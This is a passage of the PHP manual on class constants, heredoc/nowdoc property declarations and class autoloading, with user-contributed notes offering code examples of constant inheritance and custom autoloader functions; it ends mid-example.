As of PHP 5.3.0, heredocs can also be used in property declarations.

<?php
class foo {
   // As of PHP 5.3.0
   public $bar = <<<EOT
bar
EOT;
}
?>
The Basics
Class Constants
Classes and Objects


Class Constants

It is possible to define constant values on a per-class basis remaining the same and unchangeable. Constants differ from normal variables in that you don't use the $ symbol to declare or use them.

The value must be a constant expression, not (for example) a variable, a property, a result of a mathematical operation, or a function call.

It's also possible for interfaces to have constants. Look at the interface documentation for examples.

As of PHP 5.3.0, it's possible to reference the class using a variable. The variable's value can not be a keyword (e.g. self, parent and static).

Example #1 Defining and using a constant

<?php
class MyClass
{
    const constant = 'constant value';

    function showConstant() {
        echo  self::constant . "\n";
    }
}

echo MyClass::constant . "\n";

$classname = "MyClass";
echo $classname::constant . "\n"; // As of PHP 5.3.0

$class = new MyClass();
$class->showConstant();

echo $class::constant."\n"; // As of PHP 5.3.0
?>

Example #2 Static data example

<?php
class foo {
    // As of PHP 5.3.0
    const bar = <<<'EOT'
bar
EOT;
}
?>

Unlike heredocs, nowdocs can be used in any static data context.

Note:

Nowdoc support was added in PHP 5.3.0.

User Contributed Notes

tmp dot 4 dot longoria at gmail dot com 04-Jun-2011 01:52
it's possible to declare constant in base class, and override it in child, and access to correct value of the const from the static method is possible by 'get_called_class' method:
<?php
abstract class dbObject
{
    const TABLE_NAME='undefined';

    public static function GetAll()
    {
        $c = get_called_class();
        return "SELECT * FROM `".$c::TABLE_NAME."`";
    }
}

class dbPerson extends dbObject
{
    const TABLE_NAME='persons';
}

class dbAdmin extends dbPerson
{
    const TABLE_NAME='admins';
}

echo dbPerson::GetAll()."<br>";//output: "SELECT * FROM `persons`"
echo dbAdmin::GetAll()."<br>";//output: "SELECT * FROM `admins`"

?>
dexen dot devries at gmail dot com 02-Feb-2011 01:42
Summary: use ReflectionObject to access class const in PHP older than 5.3.

In versions <= 5.2 you can't use the $object::constMember syntax. Accessing via class name or the `self' operator doesn't resolve the right class in case of inheritance (for the C++ folks, it behaves like a NON-virtual method). The only working (if ugly) solution to access seems to be to use the Reflection extension:

<?php

class Foo {
    const a = 7;
    const x = 99;
}

class Bar extends Foo {
    const a = 42; /* overrides the `a = 7' in base class */
}

$b = new Bar();
$r = new ReflectionObject($b);
echo $r->getConstant('a');  # prints `42' from the Bar class
echo "\n";
echo $r->getConstant('x');  # prints `99' inherited from the Foo class

?>
jakub dot lopuszanski at nasza-klasa dot pl 14-Nov-2010 11:20
Suprisingly consts are lazy bound even though you use self instead of static:
<?php
class A{
  const X=1;
  const Y=self::X;
}
class B extends A{
  const X=1.0;
}
var_dump(B::Y); // float(1.0)
?>
anonymous 27-Sep-2010 06:32
Most people miss the point in declaring constants and confuse then things by trying to declare things like functions or arrays as constants. What happens next is to try things that are more complicated then necessary and sometimes lead to bad coding practices. Let me explain...

A constant is a name for a value (but it's NOT a variable), that usually will be replaced in the code while it gets COMPILED and NOT at runtime.

So returned values from functions can't be used, because they will return a value only at runtime.

Arrays can't be used, because they are data structures that exist at runtime.

One main purpose of declaring a constant is usually using a value in your code, that you can replace easily in one place without looking for all the occurences. Another is, to avoid mistakes.

Think about some examples written by some before me:

1. const MY_ARR = "return array(\"A\", \"B\", \"C\", \"D\");";
It was said, this would declare an array that can be used with eval. WRONG! This is just a string as constant, NOT an array. Does it make sense if it would be possible to declare an array as constant? Probably not. Instead declare the values of the array as constants and make an array variable.

2. const magic_quotes = (bool)get_magic_quotes_gpc();
This can't work, of course. And it doesn't make sense either. The function already returns the value, there is no purpose in declaring a constant for the same thing.

3. Someone spoke about "dynamic" assignments to constants. What? There are no dynamic assignments to constants, runtime assignments work _only_ with variables. Let's take the proposed example:

<?php
/**
 * Constants that deal only with the database
 */
class DbConstant extends aClassConstant {
    protected $host = 'localhost';
    protected $user = 'user';
    protected $password = 'pass';
    protected $database = 'db';
    protected $time;
    function __construct() {
        $this->time = time() + 1; // dynamic assignment
    }
}
?>

Those aren't constants, those are properties of the class. Something like "this->time = time()" would even totally defy the purpose of a constant. Constants are supposed to be just that, constant values, on every execution. They are not supposed to change every time a script runs or a class is instantiated.

Conclusion: Don't try to reinvent constants as variables. If constants don't work, just use variables. Then you don't need to reinvent methods to achieve things for what is already there.
Anonymous 13-Nov-2009 12:03
Note that since constants are tied to the class definition, they are static by definition and cannot be accessed using the -> operator.

A side effect of this is that it's entirely possible for a class constant to have the same name as a property (static or object):

<?php
class Foo
{
  const foo = 'bar';
  public $foo = 'foobar';

  const bar = 'foo';
  static $bar = 'foobar';
}

var_dump(foo::$bar); // static property
var_dump(foo::bar);  // class constant

$bar = new Foo();
var_dump($bar->foo); // object property
var_dump(bar::foo); // class constant
?>
cwreace at yahoo dot com 06-Oct-2008 06:22
A useful technique I've found is to use interfaces for package- or application-wide constants, making it easy to incorporate them into any classes that need access to them:

<?php
interface AppConstants
{
   const FOOBAR = 'Hello, World.';
}

class Example implements AppConstants
{
   public function test()
   {
      echo self::FOOBAR;
   }
}

$obj = new Example();
$obj->test();  // outputs "Hello, world."
?>

I realize the same could be done simply by defining the constant in a class and accessing it via "class_name::const_name", but I find this a little nicer in that the class declaration makes it immediately obvious that you accessing values from the implemented interface.
wbcarts at juno dot com 12-Sep-2008 12:12
Use CONST to set UPPER and LOWER LIMITS

If you have code that accepts user input or you just need to make sure input is acceptable, you can use constants to set upper and lower limits. Note: a static function that enforces your limits is highly recommended... sniff the clamp() function below for a taste.

<?php

class Dimension
{
  const MIN = 0, MAX = 800;

  public $width, $height;

  public function __construct($w = 0, $h = 0){
    $this->width  = self::clamp($w);
    $this->height = self::clamp($h);
  }

  public function __toString(){
    return "Dimension [width=$this->width, height=$this->height]";
  }

  protected static function clamp($value){
    if($value < self::MIN) $value = self::MIN;
    if($value > self::MAX) $value = self::MAX;
    return $value;
  }
}

echo (new Dimension()) . '<br>';
echo (new Dimension(1500, 97)) . '<br>';
echo (new Dimension(14, -20)) . '<br>';
echo (new Dimension(240, 80)) . '<br>';

?>

- - - - - - - -
 Dimension [width=0, height=0] - default size
 Dimension [width=800, height=97] - width has been clamped to MAX
 Dimension [width=14, height=0] - height has been clamped to MIN
 Dimension [width=240, height=80] - width and height unchanged
- - - - - - - -

Setting upper and lower limits on your classes also help your objects make sense. For example, it is not possible for the width or height of a Dimension to be negative. It is up to you to keep phoney input from corrupting your objects, and to avoid potential errors and exceptions in other parts of your code.
elmar huebschmann 02-Jul-2008 06:12
The major problem of constants is for me, you cant use them for binary flags.

<?php
class constant {

    const MODE_FLAG_1 = 1;
    const MODE_FLAG_2 = 2;
    const MODE_FLAG_3 = 4;

    const DEFAULT_MODE = self::FLAG_1 | self::FLAG_2

    private function foo ($mode=self::DEFAULT_MODE) {
        // some operations
    }
}
?>

This code will not work because constants can't be an calculation result. You could use

<?php
    const DEFAULT_MODE = 3;
?>

instead, but we use flags to be value indipendent. So you would miss target with it. Only way is to use defines like ever before.
riku at helloit dot fi 13-Feb-2008 03:24
pre 5.3 can refer a class using variable and get constants with:

<?php
function get_class_const($class, $const){
  return constant(sprintf('%s::%s', $class, $const));
}

class Foo{
  const BAR = 'foobar';
}

$class = 'Foo';

echo get_class_const($class, 'BAR');
//'foobar'
?>
nrg1981 {AT} hotmail {DOT} com 05-Oct-2007 06:19
If you have a class which defines a constant which may be overridden in child definitions, here are two methods how the parent can access that constant:

<?php
class Weather
{
    const danger = 'parent';

    static function getDanger($class)
    {
        // Code to return the danger field from the given class name
    }

}

class Rain extends Weather
{
    const danger = 'child';
}
?>

The two options to place in the parent accessor are:

        eval('$danger = ' . $class . '::danger;');

or:

        $danger = constant($class . '::danger');

I prefer the last option, but they both seem to work.

So, why might this be useful?   Well, in my case I have a page class which contains various common functions for all pages and specific page classes extend this parent class.   The parent class has a static method which takes an argument (class name) and returns a new instantiation of the class.

Each child class has a constant which defines the access level the user must have in order to view the page.   The parent must check this variable before creating and returning an instance of the child - the problem is that the class name is a variable and $class::danger will treat $class as an object.
michikono at symbol gmail dot com 07-Dec-2006 08:58
In realizing it is impossible to create dynamic constants, I opted for a "read only" constants class.

<?php
abstract class aClassConstant {

    /**
     * Setting is not permitted.
     *
     * @param    string    constant name
     * @param    mixed    new value
     * @return    void
     * @throws    Exception
     */
    final function __set($member, $value) {
        throw new Exception('You cannot set a constant.');
    }

    /**
     * Get the value of the constant
     *
     * @param    string    constant name
     * @return    void
     */
    final function __get($member) {
        return $this->$member;
    }
}
?>

The class would be extended by another class that would compartmentalize the purpose of the constants. Thus, for example, you would extend the class with a DbConstant class for managing database related constants, that might look like this:

<?php
/**
 * Constants that deal only with the database
 */
class DbConstant extends aClassConstant {

    protected $host = 'localhost';
    protected $user = 'user';
    protected $password = 'pass';
    protected $database = 'db';
    protected $time;

    /**
     * Constructor. This is so fully dynamic values can be set. This can be skipped and the values can be directly assigned for non dynamic values as shown above.
     *
     * @return    void
     */
    function __construct() {
        $this->time = time() + 1; // dynamic assignment
    }
}
?>

You would use the class like thus:

<?php
$dbConstant = new DbConstant();
echo $dbConstant->host;
?>

The following would cause an exception:

<?php
$dbConstant = new DbConstant();
$dbConstant->host = '127.0.0.1'; // EXCEPTION
?>

It's not pretty, nor ideal, but at least you don't pollute the global name space with long winded global names and it is relatively elegant.

Variables must be *protected*, not public. Public variables will bypass the __get and __set methods!! This class is, by design, not meant to be extended much further than one level, as it is really meant to only contain constants. By keeping the constant definition class seperate from the rest of your classes (if you are calling this from a class), you minimize the possibility of accidental variable assignment.

Managing this instance may be a slight pain that requires either caching a copy of the instance in a class variable, or using the factory pattern. Unfortunately, static methods can't detect the correct class name when the parent name is used during the call (e.g., DbConstant::instance()). Thus there is no elegant, inheriting solution to that problem. Thus, it is easier to simply manage a single instance that is declared using conventional notation (e.g., new DbConstant...).

- Michi Kono
webmaster at chaosonline dot de 24-Sep-2006 04:57
Since constants of a child class are not accessible from the parent class via self::CONST and there is no special keyword to access the constant (like this::CONST), i use private static variables and these two methods to make them read-only accessible from object's parent/child classes as well as statically from outside:

<?php
class b extends a {
    private static $CONST = 'any value';

    public static function getConstFromOutside($const) {
        return self::$$const;
    }

    protected function getConst($const) {
        return self::$$const;
    }
}
?>

With those methods in the child class, you are now able to read the variables from the parent or child class:

<?php
class a {
    private function readConst() {
        return $this->getConst('CONST');
    }

    abstract public static function getConstFromOutside($const);
    abstract protected function getConst($const);
}
?>

From outside of the object:

<?php
echo b::getConstFromOutside('CONST');
?>

You maybe want to put the methods into an interface.

However, class b's attribute $CONST is not a constant, so it is changeable by methods inside of class b, but it works for me and in my opinion, it is better than using real constants and accessing them by calling with eval:

<?php
protected function getConst($const) {
    eval('$value = '.get_class($this).'::'.$const.';');
    return $value;
}
?>
sw at knip dot pol dot lublin dot pl 05-Jul-2006 12:14
It might be obvious,
but I noticed that you can't define an array as a class constant.

Insteed you can define AND initialize an static array variable:

<?php

class AClass {

    const an_array = Array (1,2,3,4);
      //this WILL NOT work
      // and will throw Fatal Error:
      //Fatal error: Arrays are not allowed in class constants in...

    public static $an_array = Array (1,2,3,4);
    //this WILL work
    //however, you have no guarantee that it will not be modified outside your class

}

?>
17-Jun-2005 09:29
It's important to note that constants cannot be overridden by an extended class, if you with to use them in virtual functions.  For example :

<?php
class abc
{
    const avar = "abc's";
    function show()
    {
        echo self::avar . "\r\n";
    }
};

class def extends abc
{
    const avar = "def's";
    function showmore ()
    {
        echo self::avar . "\r\n";
        $this->show();
    }
};

$bob = new def();
$bob->showmore();
?>

Will display:
def's
abc's

However, if you use variables instead the output is different, such as:

<?php
class abc
{
    protected $avar = "abc's";
    function show()
    {
        echo $this->avar . "\r\n";
    }
};

class def extends abc
{
    protected $avar = "def's";
    function showmore ()
    {
        echo $this->avar . "\r\n";
        $this->show();
    }
};

$bob = new def();
$bob->showmore();
?>

Will output:
def's
def's
caliban at darklock dot com 15-Dec-2004 10:55
Lest anyone think this is somehow an omission in PHP, there is simply no point to having a protected or private constant. Access specifiers identify who has the right to *change* members, not who has the right to read them:

<?php
// define a test class
class Test
{
    public static $open=2;
    protected static $var=1;
    private static $secret=3;
}

$classname="Test";

// reflect class information
$x=new ReflectionClass($classname);
$y=array();
foreach($x->GetStaticProperties() as $k=>$v)
    $y[str_replace(chr(0),"@",$k)]=$v;

// define the variables to search for
$a=array("open","var","secret","nothing");
foreach($a as $b)
{
    if(isset($y["$b"]))
        echo "\"$b\" is public: {$y["$b"]}<br/>";
    elseif(isset($y["@*@$b"]))
        echo "\"$b\" is protected: {$y["@*@$b"]}<br/>";
    elseif(isset($y["@$classname@$b"]))
        echo "\"$b\" is private: {$y["@$classname@$b"]}<br/>";
    else
        echo "\"$b\" is not a static member of $classname<br/>";
}
?>

As you can see from the results of this code, the protected and private static members of Test are still visible if you know where to look. The protection and privacy are applicable only on writing, not reading -- and since nobody can write to a constant at all, assigning an access specifier to it is just redundant.
Properties
Autoloading Classes
Classes and Objects


Autoloading Classes

Many developers writing object-oriented applications create one PHP source file per-class definition. One of the biggest annoyances is having to write a long list of needed includes at the beginning of each script (one for each class).

In PHP 5, this is no longer necessary. You may define an __autoload() function which is automatically called in case you are trying to use a class/interface which hasn't been defined yet. By calling this function the scripting engine is given a last chance to load the class before PHP fails with an error.

Tip

spl_autoload_register() provides a more flexible alternative for autoloading classes. For this reason, using __autoload() is discouraged and may be deprecated or removed in the future.

Note:

Prior to 5.3.0, exceptions thrown in the __autoload function could not be caught in the catch block and would result in a fatal error. From 5.3.0+ exceptions thrown in the __autoload function can be caught in the catch block, with 1 provision. If throwing a custom exception, then the custom exception class must be available. The __autoload function may be used recursively to autoload the custom exception class.

Note:

Autoloading is not available if using PHP in CLI interactive mode.

Note:

If the class name is used e.g. in call_user_func() then it can contain some dangerous characters such as ../. It is recommended to not use the user-input in such functions or at least verify the input in __autoload().

Example #1 Autoload example

This example attempts to load the classes MyClass1 and MyClass2 from the files MyClass1.php and MyClass2.php respectively.

<?php
function __autoload($class_name) {
    include $class_name . '.php';
}

$obj  = new MyClass1();
$obj2 = new MyClass2();
?>

Example #2 Autoload other example

This example attempts to load the interface ITest.

<?php

function __autoload($name) {
    var_dump($name);
}

class Foo implements ITest {
}

/*
string(5) "ITest"

Fatal error: Interface 'ITest' not found in ...
*/
?>

Example #3 Autoloading with exception handling for 5.3.0+

This example throws an exception and demonstrates the try/catch block.

<?php
function __autoload($name) {
    echo "Want to load $name.\n";
    throw new Exception("Unable to load $name.");
}

try {
    $obj = new NonLoadableClass();
} catch (Exception $e) {
    echo $e->getMessage(), "\n";
}
?>

The above example will output:

Want to load NonLoadableClass.
Unable to load NonLoadableClass.

Example #4 Autoloading with exception handling for 5.3.0+ - Missing custom exception

This example throws an exception for a non-loadable, custom exception.

<?php
function __autoload($name) {
    echo "Want to load $name.\n";
    throw new MissingException("Unable to load $name.");
}

try {
    $obj = new NonLoadableClass();
} catch (Exception $e) {
    echo $e->getMessage(), "\n";
}
?>

The above example will output:

Want to load NonLoadableClass.
Want to load MissingException.

Fatal error: Class 'MissingException' not found in testMissingException.php on line 4

See Also

  • unserialize()
  • unserialize_callback_func
  • spl_autoload()
  • spl_autoload_register()

User Contributed Notes

shaftouille 12-Jan-2012 01:14
I think there shouldn't be tests in an autoload callback function, this callback will trigger because the class you're trying to load is not defined... in any case if your class is not defined, the code must fail. Therefore an autoload function should be like :

<?php
spl_autoload_register(function($className)
{
    require(str_replace('\\', '/', ltrim($className, '\\')) . '.php');
});
?>

As the "require" function uses the include_path, the folders for the autoinclusion should be added using set_include_path, let's say your index.php is located in a "public" directory and your MVC classes are in "core", the index.php should be :

<?php
define('ROOT_DIR', realpath(__DIR__ . '/..'));

set_include_path(ROOT_DIR . PATH_SEPARATOR . get_include_path());
?>

And of course you want to catch the loading errors, so you can use class_exists :

<?php
$className = '\core\Controller\Hello\World';

if (!class_exists($className))
{
    throw new \ErrorException('Class Not Found !');
}
else
{
    $object = new $className();
}
?>

This code sample will autoload the "World.php" file located in your "core/Controller/Hello" directory, assuming that your class declaration is like :

<?php
namespace core\Controller\Hello;

class World
{
    function __construct()
    {
        echo "Helloworld";
    }
}
?>
qfox at ya dot ru 16-Nov-2011 02:48
More simpler example of using spl_autoload_register in 5.3:
<?php
spl_autoload_register(function($classname) /* usign $app */ {
  # ... your logic to include classes here
});
?>
Nic 25-Aug-2011 12:22
Autoloading camel case classes, ie. loading "controller/product/detail.php" from "ControllerProductDetail":

<?php
// Autoloading
function __autoload($class) {
    $path = strtolower(preg_replace('/([a-z])([A-Z])/', '$1/$2', $class));
    if(file_exists(DIR_APPLICATION . $path . '.php')) {
        require_once(DIR_APPLICATION . $path . '.php');
    }
}
?>
bimal at sanjaal dot com 05-Jun-2011 11:58
When multiple scripts try to use __autoload(), there is a collision.
I experienced it while upgrading the Smarty and my own autoload function.

So, the better way is to avoid __autoload() and use spl_register_autoload() instead. If you have written this already, just rename your function to something like __autoload_my_classes, and in the next, call spl_autoload_register as:

<?php
function __autoload_my_classes($classname)
{
  # ... your logic to include classes here
}
spl_autoload_register('__autoload_my_classes');
?>

You can assign multiple functions to spl_autoload_register() by calling it repeatedly with different function names. Be sure to limit your every function to include a CLASS file.
rahj_1986 at (yahoo) dot com 30-May-2011 10:22
in my case i use config.php and put all the settings there including the _autoload functions. Just include the config.php in all of your php file. Heres how:

config.php:

<?php

function __autoload($classname) {
   include_once("classfolder/" . $classname . ".php");
}

?>

ClassFolder: with SampleClass.php

<?php

class SampleClass {
   public function hello_rahj() {
      echo "Hello rahj!";
   }
}

?>

In your Typical Php File: e.g. Index.php

<?php

include("config.php")

$hello = new SampleClass();
$hello->hello_rahj(); // outputs Hello rahj!

?>

When using the __autoload functions, Make Sure you use a Proper naming Convention.

Hope this Helps!
superzouz at hotmail dot com 01-May-2011 04:19
After a while trying to get __autoload() to work, I used spl_register_autoload instead. __autoload() unexplainably failed so I gave up on it.
T dot Alexander Lystad tal at lystadonline dot no 11-Feb-2011 07:19
This is an example of how I used autoloading in my application:

<?php
spl_autoload_register(function ($className) {
    $possibilities = array(
        APPLICATION_PATH.'beans'.DIRECTORY_SEPARATOR.$className.'.php',
        APPLICATION_PATH.'controllers'.DIRECTORY_SEPARATOR.$className.'.php',
        APPLICATION_PATH.'libraries'.DIRECTORY_SEPARATOR.$className.'.php',
        APPLICATION_PATH.'models'.DIRECTORY_SEPARATOR.$className.'.php',
        APPLICATION_PATH.'views'.DIRECTORY_SEPARATOR.$className.'.php',
        $className.'.php'
    );
    foreach ($possibilities as $file) {
        if (file_exists($file)) {
            require_once($file);
            return true;
        }
    }
    return false;
});
?>
b dot rense at gmail dot com 01-Dec-2010 08:54
php autoloading is a b*tch, nevertheless, i think the following class is a pretty good solution.

<?php

class autoload_autoloader {
    public static $instance;
    private $_src=array('application/controllers/', 'application/models/', 'application/views/helpers/', 'library/');
    private $_ext=array('.php', 'class.php', 'lib.php');

    /* initialize the autoloader class */
    public static function init(){
        if(self::$instance==NULL){
            self::$instance=new self();
        }
        return self::$instance;
    }

    /* put the custom functions in the autoload register when the class is initialized */
    private function __construct(){
        spl_autoload_register(array($this, 'clean'));
        spl_autoload_register(array($this, 'dirty'));
    }

    /* the clean method to autoload the class without any includes, works in most cases */
    private function clean($class){
        global $docroot;
        $class=str_replace('_', '/', $class);
        spl_autoload_extensions(implode(',', $this->_ext));
        foreach($this->_src as $resource){
            set_include_path($docroot . $resource);
            spl_autoload($class);
        }
    }

    /* the dirty method to autoload the class after including the php file containing the class */
    private function dirty($class){
        global $docroot;
        $class=str_replace('_', '/', $class);
        foreach($this->_src as $resource){
            foreach($this->_ext as $ext){
                @include($docroot . $resource . $class . $ext);
            }
        }
        spl_autoload($class);
    }

}

?>

Obviously you still have to include this class the dirty way, for example:

<?php

$path='../';
$docroot=$_SERVER['DOCUMENT_ROOT'] . implode('/',array_slice(explode('/',$_SERVER['PHP_SELF']),0,-2)) . '/';
include($path . 'library/autoload/autoloader.php');
autoload_autoloader::init();

?>

please note that this autoloader class does require the $docroot variable which is the absolute path of the root of your application, you can set it manually or copy the code i used.

my directory structure looks like this:
- www/
    + myapp/
        + application/
            + controllers/
            + models/
            + views/
                + helpers/
        + library/
            + autoload/
                - autoloader.php
fka at fatihkadirakin dot com 31-Jul-2010 06:16
Or you can use this, without using any "require/include":

<?php
class autoloader {

    public static $loader;

    public static function init()
    {
        if (self::$loader == NULL)
            self::$loader = new self();

        return self::$loader;
    }

    public function __construct()
    {
        spl_autoload_register(array($this,'model'));
        spl_autoload_register(array($this,'helper'));
        spl_autoload_register(array($this,'controller'));
        spl_autoload_register(array($this,'library'));
    }

    public function library($class)
    {
        set_include_path(get_include_path().PATH_SEPARATOR.'/lib/');
        spl_autoload_extensions('.library.php');
        spl_autoload($class);
    }

    public function controller($class)
    {
        $class = preg_replace('/_controller$/ui','',$class);

        set_include_path(get_include_path().PATH_SEPARATOR.'/controller/');
        spl_autoload_extensions('.controller.php');
        spl_autoload($class);
    }

    public function model($class)
    {
        $class = preg_replace('/_model$/ui','',$class);

        set_include_path(get_include_path().PATH_SEPARATOR.'/model/');
        spl_autoload_extensions('.model.php');
        spl_autoload($class);
    }

    public function helper($class)
    {
        $class = preg_replace('/_helper$/ui','',$class);

        set_include_path(get_include_path().PATH_SEPARATOR.'/helper/');
        spl_autoload_extensions('.helper.php');
        spl_autoload($class);
    }

}

//call
autoloader::init();
?>
takingsides at gmail dot com 30-Jun-2010 08:15
file_exists would work perfectly fine, unless people intentionally create directories ending with ".php". However sometimes classes can be called either "MyClass.php" or "MyClass.class.php"...

I have a number of configuration constants defined (before the autoload function) i.e:

<?php
// in: config.php
define('DEV_MODE',                                    1);
$error_reporting = error_reporting(DEV_MODE ? E_ALL : 0);

define('CONF_DIR_LIB', '/path/to/classes/');
?>

Finally inside the config.php after my constants, i define the autoload...

A. DEV_MODE when 1 or true, will show all errors.
B. DEV_MODE when 0 or false, will supress ALL errors including those thrown from inside classes.

<?php
// also in: config.php
function __autoload($f)
{
    if (($f1 = file_exists($c1 = CONF_DIR_LIB . "$f.class.php"))
        || ($f2 = file_exists($c2 = CONF_DIR_LIB . "$f.php")))
            if (DEV_MODE)
                include_once ($f1 ? $c1 : $c2);
            else
                @include_once ($f1 ? $c1 : $c2);
}
?>

I hope this helps anyone :)
DaWG 12-May-2010 09:21
Be careful with the use of file_exists, if there were a directory with the name ($classname . "php") then file_exists would return true. (is_file "may" be preferred, YMMV).
<?php
    if (is_file($className . '.php')) { ...
?>
ej at campbell dot name 03-Apr-2010 11:21
You don't need exceptions to figure out if a class can be autoloaded. This is much simpler.

<?php
//Define autoloader
function __autoload($className) {
      if (file_exists($className . '.php')) {
          require_once $className . '.php';
          return true;
      }
      return false;
}

function canClassBeAutloaded($className) {
      return class_exists($className);
}
?>
tom at r dot je 11-Mar-2010 03:30
To find out whether a class can be autoloaded, you can use autoload in this way:

<?php
//Define autoloader
function __autoload($className) {
    if (file_exists($className . '.php')) require $className . '.php';
    else throw new Exception('Class "' . $className . '" could not be autoloaded');
}

function canClassBeAutloaded($className) {
    try {
        class_exists($className);
        return true;
    }
    catch (Exception $e) {
        return false;
    }
}
?>
Anonymous 08-Feb-2010 03:35
It's worth to mention, if your operating system is case-sensitive you need to name your file with same case as in source code eg. MyClass.php instead of myclass.php
EastGhostCom 23-Dec-2009 09:04
IMPORTANT: Look into spl_autoload_register() which lets you manage a stack of several __autoload() functions.
khan at swcombine dot com 05-Nov-2009 05:38
As an addendum to #91119 I would suggest adding class_exists() into that solution. I've just implemented autoloading based on the code provided there and ran into a problem where a file had the same name as a class, existed in the directory structure prior to the file that had the actual class and as a result was being included first and resulting in a 'class not found' error.

<?php
if(file_exists($path)) {
    require_once $path;
    if(class_exists($class_name)) {
        return;
    }
}
?>
h762017(at)stud(dot)u-szeged(dot)hu 20-Aug-2009 07:24
Hi,

Because the scripting engine just find the class declaration in the body of the __autoload() function, you also can declare the missing class in the __autoload() function. (No need to include or require a file.)

Let's see the following code:

Example 1.:

<?php

function __autoload($className){
    echo "Now loading: $className<br />";

    class SuperClass {
    }
}

class DerivedClass extends SuperClass {
}

class AnotherDerivedClass extends SuperClass {
}

?>

The scripting engine will found the SuperClass class.

Example 2.:

You also can do it with the eval function, and if you dinamycally declare the class, you don't get a Fatal Error, and you can do many interesting things with the eval function;)

<?php

function __autoload($className){
    echo "Now loading: $className<br />";

    eval("class $className {}");
}

class DerivedClass extends SuperClass {
}

class AnotherDerivedClass extends SuperClass {
}

?>
Peminator 07-Jul-2009 07:01
My idea for autoloading FUNCTIONS however only in a weird way :

<?php
function ex($parms)
{
   $argvar = func_get_args();
   $func = $argvar[0];
   $funcargs = array_slice($argvar,1);

if (function_exists($func))
   {
   $returnvalue = call_user_func_array($func,$funcargs);
   }
else
   {
   $funcpath = "scripts/".$func.".php";
   require_once($funcpath);

   if (function_exists($func))
      {
      $returnvalue = call_user_func_array($func,$funcargs);
      }
   else
      {
         die "SORRY  $func IS NOT USABLE";
      }
   }

// return returned value :-)
return $returnvalue;
}
?>

USAGE EXAMPLE:
must be caled using the X function giving the real function as first parameter, like:
$result = ex("add",1,2);
// returns 3 if add function defined in add.php sums the first and second parameter..
ranskills at yahoo dot co dot uk 26-May-2009 04:02
This custom autoload function allows for the flexibility to add directories from which the classes are expected to be found and loads classes/interfaces with different file naming formats. Additionally, it handles classes included in the include path and files in the PEAR package/directory.
You can check this blog entry for a video tutorial http://ranskills.com/blog/.

<?php
/**
 *
 * @param string $className Class or Interface name automatically
 *              passed to this function by the PHP Interpreter
 */
function autoLoader($className){
    //Directories added here must be
//relative to the script going to use this file.
//New entries can be added to this list
    $directories = array(
      '',
      'classes/'
    );

    //Add your file naming formats here
    $fileNameFormats = array(
      '%s.php',
      '%s.class.php',
      'class.%s.php',
      '%s.inc.php'
    );

    // this is to take care of the PEAR style of naming classes
    $path = str_ireplace('_', '/', $className);
    if(@include_once $path.'.php'){
        return;
    }

    foreach($directories as $directory){
        foreach($fileNameFormats as $fileNameFormat){
            $path = $directory.sprintf($fileNameFormat, $className);
            if(file_exists($path)){
                include_once $path;
                return;
            }
        }
    }
}

spl_autoload_register('autoLoader');
?>
contact at casual-web dot com 29-Apr-2009 09:22
Hi,

To include all classes from differents directories, you can specify the path in the name of class.The replace a caracter of your choice by '/'. Here I used "_".

ex : the class : dir1_dir2_myclass.class.php will be in dir1/dir2/

<?php
function __autoload($className) {

$fullclasspath="";

// get separated directories
$pathchunks=explode("_",$className);

//re-build path without last item
for($i=0;$i<(count($pathchunks)-1);$i++) {
    $fullclasspath.=$pathchunks[$i].'/';
      }

require_once '../../'.$fullclasspath.$className.'.class.php';
}
?>*

bye
CasualWeb
roman dot drapeko at gmail dot com 05-Apr-2009 04:33
Hi there,

I have developed a small script, that can scan recursively folders and files ang generate array of associations between classes/interfaces and their locations. It accepts several incoming parameters and it's very simple to use.

An example of generated array is shown bellow.

<?php

    $autoload_list = array (
      'classes' => array (
        'A' => array ('path' => 'Project/Classes/Children/A.php',
          'extends' => array (), 'implements' => array ('I1')),
        'C' => array ('path' => 'Project/Classes/C.php',
          'extends' => array ('B'), 'implements' => array ('I1', 'I3')),
      ),
      'interfaces' => array (
        'I2' => array ('path' => 'Project/Interfaces/blablabla.php', 'extends' => array ('I1')),
        'I1' => array ('path' => 'Project/Interfaces/I1.php', 'extends' => array ()),
      ),
    );
?>

When you know names and their locations, you know everything to load these classes.

It uses regular expressions to identify if class/interfaces is located in the current file.

I tried to post the code, but it's very long. You can download the script from http://wp.drapeko.com/store/php-autoloading-files/.
claude dot pache at gmail dot com 11-Mar-2009 07:04
About static classes that need initialisation before use (problem discussed by adam at greatbigmassive dot net and kalkamar at web dot de below).

Simple problems have often simple solutions. Here is my approach:

First, my __autoload function is very simple:
<?php
function __autoload ($class_name)
{
    if (preg_match('|^\w+$|', $class_name))
        include "./packages/$class_name.php";
}
?>
(The "if/preg_match" line is just a simple yet robust security check. Moreover I use "include" and not "require"/"require_once", so that if the file is not found, the __autoload function does nothing, and my script dies eventually with a meaningful "Class 'foo' not found"  fatal error.)

Now, when I define a class "foo" which requires initialisation before use, I just write the initialisation code after the definition of the class in the file "packages/foo.php":

<?php
/** Content of file "packages/foo.php" **/
class foo
{
    /* definition of the class is found here */
}

/* initialisation code of the class is found here. */

/** End of file "packages/foo.php" **/
?>

That's it. No need for an <? init() ?> or a <? __construct() ?> method.
jarret dot minkler at gmail dot com 07-Mar-2009 10:55
You should not have to use require_once inside the autoloader, as if the class is not found it wouldn't be trying to look for it by using the autoloader.

Just use require(), which will be better on performance as well as it does not have to check if it is unique.
adam at greatbigmassive dot net 25-Feb-2009 03:31
I've been playing with the idea of automatically running the __construct() function after initiating a static/singleton class.
As we know, it doesn't run unless you create new instance() of the class which doesn't happen on the singleton method.

I've seen the methods of using the "getInstance" call but this is a manual call that I wanted to avoid. As an additional idea I've done this and would be interested in opinions. Seems to work for me and my framework and it means I don't have to run the __construct() manually via the internal "new self" method. Obviously, in this case, I probably don't even need to call the booter function __construct() but for relationship recognition I have.

Basic idea
----------
Make the __construct() protected instead of private.
This means an extended class can access/override it.

Then, in autoload, I use eval to extend the class I've just initiated which simply runs the parent __construct() if it exists..

<?php
function __autoload($class){
    require_once(INC_FILES."/class/class.".$class.".php");
    if(method_exists($class,'__construct')){
        eval("class al_$class extends $class{function __construct(){parent::__construct();}}new al_$class;");
    }
    return true;
}
?>
pinochet dot pl at gmail dot com 04-Jan-2009 01:11
To use autoload function with namespaces you should remember to define it in main scope in "\" namespace.
zachera 31-Dec-2008 04:55
I found out a neat way to centralize one single class which will give accessibility to other classes.  I also added a parameter to the __construct method which would be an array of classes you want loaded.  This isn't completely necessary, but it will stop "excessive memory" if you're loading a bunch of unused classes.

<?php
class Bot {
    private $classes = array (
        'Socket' => "connection/class.Socket.php",
